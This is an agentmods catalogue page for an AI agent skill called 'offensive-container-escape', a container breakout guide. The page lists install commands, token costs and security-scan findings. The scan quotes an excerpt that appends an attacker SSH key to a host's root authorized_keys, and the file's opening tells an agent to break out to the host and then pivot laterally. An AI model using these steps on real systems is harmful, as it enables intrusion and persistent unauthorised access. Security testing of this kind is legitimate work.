offensive-container-escape

offensive-container-escape is a skill for Claude Code, Codex from Miosa-osa/OSA. It costs 196 tokens per session (6,244 once invoked), scanned E, a copy of offensive-container-escape, Apache-2.0.

A security-testing guide to escaping containers, which isolate applications from much of the host system. It covers Docker, containerd, and Podman breakouts involving mounts, sockets, Linux capabilities, and control groups.

In plain words
What is it for?
Use it to assess privileged containers, exposed Docker sockets, host filesystem mounts, Linux capabilities, and cgroup-based escape risks.
Why use it?
It helps identify container settings that could let an attacker reach the host or other workloads. This supports hardening container runtimes and deployment configurations.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: positional $N argument.

Good fit Use it to assess privileged containers, exposed Docker sockets, host filesystem mounts, Linux capabilities, and cgroup-based escape risks.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/miosa-osa/osa/offensive-container-escape
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add Miosa-osa/OSA --skill offensive-container-escape
Clone the repo
git clone --depth 1 https://github.com/Miosa-osa/OSA

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for offensive-container-escape

README.md
[![agentmods](https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-container-escape/github.svg)](https://agentmods.dev/skills/miosa-osa/osa/offensive-container-escape)
Your own site
<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-container-escape"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-container-escape/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for offensive-container-escape

Your own site · 80×15
<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-container-escape"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-container-escape.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 196 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 6,244 The whole file, excluding the scripts and references it only reads on demand.
Security scan E 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 88% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00196 $0.06244
Opus 5.5 $0.00078 $0.02498
Sonnet 5.5 $0.00039 $0.01249
Haiku 4.5 $0.00020 $0.00624

Measured 1mo ago against content hash 2258a2063628, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade E, and why

offensive-container-escape scanned grade E with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

echo "ssh-rsa AAAA... attacker@host" >> /mnt/host/root/.ssh/authorized_keys

Downloads and executes remote codehighSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

# Verify Docker API via curl curl -s --unix-socket /var/run/docker.sock http://localhost/version | python3 -m json.tool

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
Origin

This is a copy

88% identical to offensive-container-escape — 40 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

priv/skills/offensive-container-escape/SKILL.md · 713 lines

How it starts

The opening of the file, as written. The whole thing — 713 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Container Escape and Breakout

You have a shell inside a container. Your objective is to break out to the underlying host operating system. Container isolation relies on Linux namespaces, cgroups, seccomp profiles, AppArmor/SELinux, and dropped capabilities. Every misconfiguration in these layers is an escape vector. This skill walks you through systematic enumeration, exploitation of common misconfigurations, abuse of exposed runtime sockets, capability-based escapes, cgroup breakouts, and known CVEs against container runtimes.

Quick Workflow

  1. Confirm you are inside a container (check for .dockerenv, cgroup entries, PID 1 process).
  2. Enumerate capabilities, mounts, namespaces, and sockets with automated tools.
  3. Identify the escape vector: privileged mode, socket exposure, dangerous capabilities, cgroup misconfiguration, or vulnerable runtime.
  4. Execute the breakout technique matching the vector.
  5. Validate host access by reading /etc/hostname, checking PID namespace, or writing to host filesystem.
  6. Pivot from host access to lateral movement across the cluster or infrastructure.

Phase 1: Container Detection and Enumeration

Before attempting escape, confirm you are containerized and map the attack surface.

Detecting Container Environment

# Check for Docker marker file
ls -la /.dockerenv

# Check cgroup entries for container identifiers
cat /proc/1/cgroup | grep -E 'docker|containerd|kubepods|podman'

# Check PID 1 process (containers typically run app process, not init)
cat /proc/1/cmdline | tr '\0' ' '

# Check for container-specific environment variables
env | grep -iE 'kubernetes|docker|container|pod'

# Check hostname (often a truncated container ID)
hostname

# Check mount info for overlay filesystem
cat /proc/1/mountinfo | head -20

Automated Enumeration Tools

# deepce - Docker enumeration and escalation tool
# Download and run (if outbound access is available)
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
chmod +x deepce.sh
./deepce.sh

# CDK - Zero-dependency container penetration toolkit
./cdk evaluate

# amicontained - Inspect container runtime and capabilities
./amicontained

# Manual capability check with capsh
capsh --print
cat /proc/1/status | grep -i cap

Read the full file on GitHub · 713 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 1mo ago First seen · 713 lines · 196 tokens per session scan E 2258a2063628

Subscribe to this mod's changes

offensive-container-escape is a skill published in the GitHub repository Miosa-osa/OSA (78 stars, last pushed 11d ago), licensed Apache-2.0. It adds 196 tokens to every session and 6,244 once invoked, about $0.0008 per session on Opus 5.5. A static security scan graded it E with 3 findings (reaches for credential files, downloads and executes remote code, makes network calls). It is 88% identical to offensive-container-escape, differing in 40 lines, and is treated as a copy.

Related

Other skills, from other repositories

docker-management

Manage Docker containers, images, volumes, and Compose.

NousResearch/hermes-agent · 14 tokens

docker-patterns

Docker and Docker Compose patterns for local development, container security, networking, volume strategies, and multi-service orchestration. Use when setting up containerized development environments or reviewing Docker configurations.

affaan-m/ECC · 40 tokens

deploy-docker-compose

Run the Omnigent server as a Docker compose stack (server + Postgres) on any Docker host — your laptop, a VPS, EC2 by hand, or as the base layer of any container-platform deploy. Invoke when the user wants to build the image, bring up the compose stack, debug the stack on a host they already have, or extend the stack…

omnigent-ai/omnigent · 84 tokens

workspaces

How an Open SWE workspace's sandbox image works and how to change it — create one, edit or fork an existing one, start from scratch, what setupscript and updatescript are for, why a nightly refresh failed, where the build logs are, and how to read a rebuild in progress. Read this whenever someone asks about…

langchain-ai/open-swe · 89 tokens

deployment

Deploy Memoria with Docker Compose or Kubernetes. Environment variables, multi-instance setup, security. Use when deploying or configuring Memoria.

matrixorigin/memoria · 28 tokens

devops-deployment

Use when setting up CI/CD pipelines, containerizing applications, deploying to Kubernetes, or writing infrastructure as code. DevOps & Deployment covers GitHub Actions, Docker, Helm, and Terraform patterns.

yonatangross/orchestkit · 44 tokens